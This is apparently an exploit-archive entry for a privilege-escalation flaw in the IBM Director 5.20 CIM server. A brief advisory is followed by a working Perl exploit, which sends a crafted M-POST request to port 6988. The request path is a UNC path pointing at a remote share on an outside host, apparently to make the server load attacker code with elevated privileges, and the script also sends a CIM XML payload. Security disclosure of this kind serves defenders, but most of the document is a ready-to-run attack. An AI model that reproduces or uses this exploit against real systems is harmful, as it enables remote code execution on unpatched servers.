IBM System Director Agent 5.20 - CIM Server Privilege Escalation

source: https://www.securityfocus.com/bid/34065/info

IBM Director is prone to a privilege-escalation vulnerability that affects the CIM server.

Attackers can leverage this issue to execute arbitrary code with elevated privileges in the context of the CIM server process.

Versions prior to IBM Director 5.20.3 Service Update 2 are affected.

use IO::Socket;
#1st argument: target host
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "6988",
                                 Proto    => 'tcp');
$payload =
qq{<?xml version="1.0" encoding="utf-8" ?>
<CIM CIMVERSION="2.0" DTDVERSION="2.0">
 <MESSAGE ID="1007" PROTOCOLVERSION="1.0">
  <SIMPLEEXPREQ>
    <EXPMETHODCALL NAME="ExportIndication">
     <EXPPARAMVALUE NAME="NewIndication">
      <INSTANCE CLASSNAME="CIM_AlertIndication" >
        <PROPERTY NAME="Description" TYPE="string">
          <VALUE>Sample CIM_AlertIndication indication</VALUE>
        </PROPERTY>
        <PROPERTY NAME="AlertType" TYPE="uint16">
          <VALUE>1</VALUE>
        </PROPERTY>
        <PROPERTY NAME="PerceivedSeverity" TYPE="uint16">
          <VALUE>3</VALUE>
        </PROPERTY>
        <PROPERTY NAME="ProbableCause" TYPE="uint16">
          <VALUE>2</VALUE>
        </PROPERTY>
        <PROPERTY NAME="IndicationTime" TYPE="datetime">
          <VALUE>20010515104354.000000:000</VALUE>
        </PROPERTY>
      </INSTANCE>
    </EXPPARAMVALUE>
  </EXPMETHODCALL>
 </SIMPLEEXPREQ>
 </MESSAGE>
</CIM>};
$req =
"M-POST /CIMListener/\\\\isowarez.de\\director\\wootwoot HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."Content-Type: application/xml; charset=utf-8\r\n"
."Content-Length: ". length($payload) ."\r\n"
."Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n"
."CIMOperation: MethodCall\r\n"
."CIMExport: MethodRequest\r\n"
."CIMExportMethod: ExportIndication\r\n\r\n";
print $sock $req . $payload;

while(<$sock>) {
	print;
}